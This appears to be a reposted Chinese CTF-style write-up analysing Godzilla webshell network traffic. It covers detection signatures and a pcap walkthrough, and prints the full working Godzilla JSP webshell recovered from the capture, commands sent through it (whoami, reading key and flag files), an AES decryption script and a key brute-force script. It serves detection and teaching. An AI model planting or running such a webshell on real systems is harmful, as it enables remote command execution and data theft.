【流量分析】Godzilla分析

这篇具有很好参考价值的文章主要介绍了【流量分析】Godzilla分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、哥斯拉流量的特点:

1.User-Agent (弱特征)

哥斯拉客户端使用JAVA语言编写,在默认的情况下,如果不修改User-Agent,User-Agent会类似于Java/1.8.0_121(具体什么版本取决于JDK环境版本)。但是哥斯拉支持自定义HTTP头部,这个默认特征是可以很容易去除的。

2.Accept(弱特征)
Accept为text/html, image/gif, image/jpeg, *; q=.2, /; q=.2

3.Cookie (强特征)
哥斯拉的作者应该还没有意识到,在请求包的Cookie中有一个非常致命的特征,最后的分号。

4.请求体特征 (较强特征)
因为无法准确识别加密的请求体,所以只能采用比较宽泛的匹配条件去匹配请求体特征,宽泛的匹配思路其实就是基于区别大部分正常的数据包,加密数据包自身体现的特征。这种宽泛的匹配在一些情况下可能会带来误报,因此有时候难以作为一种非常有效的检测手法。

哥斯拉支持对加密的数据进行base64编码以及原始的加密raw两种形式的通讯数据,对于请求体的检测也要考虑两种情况。

哥斯拉在进行初始化时会产生一个比较大的数据包,后面进行命令执行等操作时产生的base64数据包会比较比较小。在长度上做一个匹配条件在一定程度上也可以降低误报率。
对于原始加密raw请求体,没想到比较好的方法,目前只想到到了匹配较多的不可见字符的思路。
和请求体一样,请求响应体也分两个格式,base64编码的和原始加密raw数据。如果请求体采用base64编码,响应体返回的也是base64编码的数据。在使用base64编码时,响应体会出现一个很明显的固定特征。这个特征是客户端和服务端编写的时候引入的。

从代码可以看到会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。

5.哥斯拉会相应3次
01 通过Burp抓包可知,第1个请求会发送大量数据,该请求不含有任何Cookie信息,服务器响应报文不含任何数据,但是会设置PHPSESSID,后续请求都会自动带上该Cookie。
【流量分析】Godzilla分析,流量分析
02 可以看到,第2个请求中已经自动带上了第1个请求中服务器响应返回的Cookie值,并且第2个请求中只有少量的数据。
【流量分析】Godzilla分析,流量分析
第3个请求

第3个请求与第2个请求完全一致。
【流量分析】Godzilla分析,流量分析
6.哥斯拉加密的方式
【流量分析】Godzilla分析,流量分析
7.哥斯拉会长时间有 Connection: keep-alive

二、题目:hw-典型哥斯拉流量

【流量分析】Godzilla分析,流量分析
一开始可以发现:

188一直在向180发送syn包 是188在Ping180,看端口有没有开启,要看180有没有回包 rst ack seq=1 ack=1 win=0 len=0
【流量分析】Godzilla分析,流量分析
(ip.src == 192.168.162.180 ) && (ip.proto == 6) 输入筛选条件,红色的是没有开放的;看返回包,返回包协议中携带syn、ack的包是正常通信的。
【流量分析】Godzilla分析,流量分析
【流量分析】Godzilla分析,流量分析
综上第一题的答案是 80,888,8888

【流量分析】Godzilla分析,流量分析
追踪流量查看用户做了什么,很多都是404的,后面上传了shell.jsp后才有一些是200的

···
GET /index.jsp?pwd=admin&cmd=ls HTTP/1.1
Host: 192.168.162.180
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: JSESSIONID=9467B2C71C4B258B7BFB8CCCA6C7C564
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 
Server: nginx
Date: Mon, 30 May 2022 14:38:24 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 17
Connection: keep-alive
X-Cache: MISS

<h1>Hello world!
GET /test.jsp?pwd=admin&cmd=ls HTTP/1.1
Host: 192.168.162.180
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: JSESSIONID=9467B2C71C4B258B7BFB8CCCA6C7C564
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 
Server: nginx
Date: Mon, 30 May 2022 14:38:31 GMT
Content-Type: text/html;charset=GBK
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Cache: MISS
Content-Encoding: gzip


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>..........</title>
    </head>

    <body>
        <pre>bin
boot
cdrom
dev
etc
flag
home在这里插入代码片

可以看到用户挂马之后看了下根目录下有啥,
确实有个flag
查看的内容都是通过shell.jsp来实现的

01 通过Burp抓包可知,第1个请求会发送大量数据,该请求不含有任何Cookie信息,服务器响应报文不含任何数据,但是会设置PHPSESSID,后续请求都会自动带上该Cookie。
【流量分析】Godzilla分析,流量分析【流量分析】Godzilla分析,流量分析
02 可以看到,第2个请求中已经自动带上了第1个请求中服务器响应返回的Cookie值,并且第2个请求中只有少量的数据。cookie还是呆分号的
【流量分析】Godzilla分析,流量分析
【流量分析】Godzilla分析,流量分析
可以判断为哥斯拉流量。

三、哥斯拉流量的加密方式

from Crypto.Cipher import AES
import binascii
import zlib

# 密钥,与 JSP 代码中的密钥相同
key = b'748007e861908c03'

# 要解密的加密数据(十六进制形式)
encrypted_hex_data = "b5c1fadbb7e28da08572486d8e6933a84c5144463f178b352c5bda71cff4e8ffe919f0f115a528ebfc4a79b03aea0e31cb22d460ada998c7657d4d0f1be71ffa"

def decode(data, key):
    cipher = AES.new(key, AES.MODE_ECB)
    decrypted_data = cipher.decrypt(data)
    return decrypted_data

def ungzip(in_str):
    s = zlib.decompress(in_str, 16 + zlib.MAX_WBITS).decode()
    print("Decoded and Unzipped:\n", s)

# 将十六进制数据转换为字节序列
encrypted_bytes = bytes.fromhex(encrypted_hex_data)

# 解密数据并解压缩
decrypted_data = decode(encrypted_bytes, key)
ungzip(decrypted_data)

得到结果可得

【流量分析】Godzilla分析,流量分析【流量分析】Godzilla分析,流量分析

所谓的加密是一个aes形式的ecb加密外加unzip的形式:
对响应包截取该md5后的前16位以及后16位
对截取后的响应包内容进行 base64解码/raw原始数据形式 + aes解密 + gzip解压缩
【流量分析】Godzilla分析,流量分析
1.一定要是http的形式
2.截取的内容一定是分段后的内容也就是数据运输的内容
3.请求包相应包都是如此
4.一定要是原始数据
我们把挂着哥斯拉jsp马的数据全部都读取以下并翻译
【流量分析】Godzilla分析,流量分析

cmdLinewhoami
www
cmdLinecat /www/wwwroot/test.com/key
the key is 1****y
cmdLine ifconfig
docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether 02:42:13:c6:39:05 txqueuelen 0 (以太网)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 27 bytes 4460 (4.4 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.162.180 netmask 255.255.255.0 broadcast 192.168.162.255
inet6 fe80::3c58:317b:f1ee:d5fc prefixlen 64 scopeid 0x20
inet6 fe80::8925:adf7:1d2a:2c41 prefixlen 64 scopeid 0x20
ether 00:0c:29:df:95:a8 txqueuelen 1000 (以太网)
RX packets 2360170 bytes 3041706453 (3.0 GB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 608498 bytes 43248948 (43.2 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

ens38: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.101.132 netmask 255.255.255.0 broadcast 192.168.101.255
inet6 fe80::68af:1a5:a54c:7366 prefixlen 64 scopeid 0x20
ether 00:0c:29:08:04:93 txqueuelen 1000 (以太网)
RX packets 31049 bytes 2298483 (2.2 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 749 bytes 65158 (65.1 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10
loop txqueuelen 1000 (本地环回)
RX packets 80607 bytes 17837506 (17.8 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 80607 bytes 17837506 (17.8 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

veth038e57f: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet6 fe80::1cf7:44ff:fea5:1deb prefixlen 64 scopeid 0x20
ether 1e:f7:44:a5:1d:eb txqueuelen 0 (以太网)
RX packets 10 bytes 1199 (1.1 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 172 bytes 27148 (27.1 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

cmdLinenmap
Cannot run program “nmap”: error=13, 权限不够
cmdLinels /
bin
boot
cdrom
dev
etc
flag
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
patch
proc
root
run
sbin
snap
srv
swapfile
sys
tmp
usr
var
www
cat /flag
flag{9236b29d-5488-41e6-a04b-53b0d8276542}

对于http流其实可以一个个查看回头输入http会自动光标定位到刚才的位置
【流量分析】Godzilla分析,流量分析
【流量分析】Godzilla分析,流量分析
【流量分析】Godzilla分析,流量分析
还是追踪http流才能看到的

GET /test.jsp?pwd=admin&cmd=cat%20/www/wwwroot/test.com/shell.jsp HTTP/1.1
Host: 192.168.162.180
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: JSESSIONID=9467B2C71C4B258B7BFB8CCCA6C7C564
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 
Server: nginx
Date: Mon, 30 May 2022 14:38:59 GMT
Content-Type: text/html;charset=GBK
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Cache: MISS
Content-Encoding: gzip


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>..........</title>
    </head>

    <body>
        <pre><%! String *xc="748007e861908c03"*; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%>

【流量分析】Godzilla分析,流量分析
xc=“748007e861908c03”

【流量分析】Godzilla分析,流量分析
C:\Python27\python.exe C:/Users/Administrator/PycharmProjects/1/XL/123123.py
14mk3y
748007e861908c03ba0830d5c47fd282文章来源地址https://www.toymoban.com/news/detail-682902.html

import requests
import hashlib
dic = "abcdefghijklmnopqrstuvwxyz0123456789"
for i in dic:
    for j in dic:
        for k in dic:
            for l in dic:
                s='1'+i+j+k+l+'y'
                md5=hashlib.md5(s.encode('utf-8')).hexdigest()
                if '748007e861908c03' in md5[:16]:
                    print(s)
                    print(md5)
                    break

到了这里,关于【流量分析】Godzilla分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理

    本文将会从攻防的角度分析常用 webshell 管理工具(菜刀、蚁剑、冰蝎2.0,冰蝎3.0、哥斯拉将在下篇介绍)的流量特点,后半部分会整理一些有关 webshell 入侵检测和应急响应的文章 先从最简单的开始吧,菜刀也算是比较早的 webshell 管理工具了,加密方式比较简单,这里分析

    2024年02月02日
    浏览(28)
  • Wireshark流量分析

    目录 1.基本介绍 2.基本使用 1)数据包筛选: 2)筛选ip: 3)数据包还原  4)数据提取  3.wireshark实例 1. 基本介绍 在CTF比赛中,对于流量包的分析取证是一种十分重要的题型。通常这类题目都是会提供一个包含流量数据的pcap文件,参赛选手通过该文件筛选和过滤其中无关的流

    2024年02月11日
    浏览(31)
  • 流量分析&日志查看

    从题目出发,既然是上传登录信息,就直接过滤post请求,即搜索 http.request.method==POST ,因为上传用户登录信息使用的一定是 http 里的 post 方法 模式过滤 http.request.method == “GET” http.request.method == “POST” http.request.uri == “/img/logo-edu.gif” http contains “GET” http contains “

    2024年02月13日
    浏览(28)
  • 主动激活木马加密流量分析

        在网络攻击中,木马病毒通常会使用监听某个端口的方式,或者直接连接C2地址、域名的方式来建立通信,完成命令与控制。而APT攻击中,攻击者为了更高级的潜伏隐蔽需求,其部署的木马或后门,会采用对网卡流量进行过滤的方式,获得一定的通信信令才会触发执行实

    2024年02月06日
    浏览(29)
  • Wireshark流量分析例题

    目录 前言  一、题目一(1.pcap) 二、题目二(2.pcap) 三、题目三(3.pcap) 四、题目四(4.pcap) Wireshark流量包分析对于安全来说是很重要的,我们可以通过Wireshark来诊断网络问题,检测网络攻击、监控网络流量以及捕获恶意软件等等 接下来我们来看一道数据分析题,需要4个流量包 1-

    2024年02月11日
    浏览(29)
  • 流量分析:wireshark的使用

    wireshark使用教程博客 https://www.cnblogs.com/cainiao-chuanqi/p/15910553.html?spm=wolai.workspace.0.0.3768135baBU0KJ 1、过滤查看包含某字符串的HTTP数据包: http contains \\\"string\\\" (tcp同理) 2 、过滤查看请求某一url的流量: http.request.url ==\\\"path\\\" 或 http.request.url contains \\\"path\\\" 3、过滤某一ip的流量: ip.addr =

    2024年02月10日
    浏览(31)
  • 流量分析工具Brim

    Brim被打包成桌面应用,和Slack一样用Electron构建,免费,开源。安装后,你可以用Brim打开一个PCAP包,它将把PCAP包转换成ZNG格式的Zeek日志。通过Brim可以搜索日志,也可以协同WireShark来深入分析来自特定流量的数据包。目前Brim仅支持桌面端搜索,将来也会支持云端,集群搜索

    2023年04月20日
    浏览(24)
  • DNS隧道流量分析

    1.域名准备 选择哪家的云都没问题,国内云需要实名,不建议使用,这里我选择的TX云,因为之前注册过了,自己拿来做个流量分析不成问题 域名添加解析记录 需要准备自己的vps作为DNS隧道的服务端,且需要添加ns记录 2.iodined搭建 关闭53端口关闭开机自启 之后53端口已关闭

    2024年02月07日
    浏览(16)
  • 流量分析—ctf

    题目介绍 该题为流量分析,当黑客入侵我们的网络是,我们可以需要通过一系列分析操作来进行抓捕与追踪,本题目难度中等偏下,不是很有难度,但题目类型较为全面,适合入手当做练习。 一、题目背景 某公司内网网络被黑客渗透,简单了解,黑客首先攻击了一台web服务

    2024年02月10日
    浏览(21)
  • 蚁剑流量分析

    蚁剑是什么           蚁剑(AntSword)是一款开源的跨平台WebShell管理工具 蚁剑流量特征两大特征         1、默认的 user-agent 请求头是 antsword xxx(可修改)         2、蚁剑的正文内容用URL加密,解密后流量最中明显的特征为ini_set(\\\"display_errors\\\",\\\"0\\\"); 分析前准备工作  

    2024年02月13日
    浏览(33)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包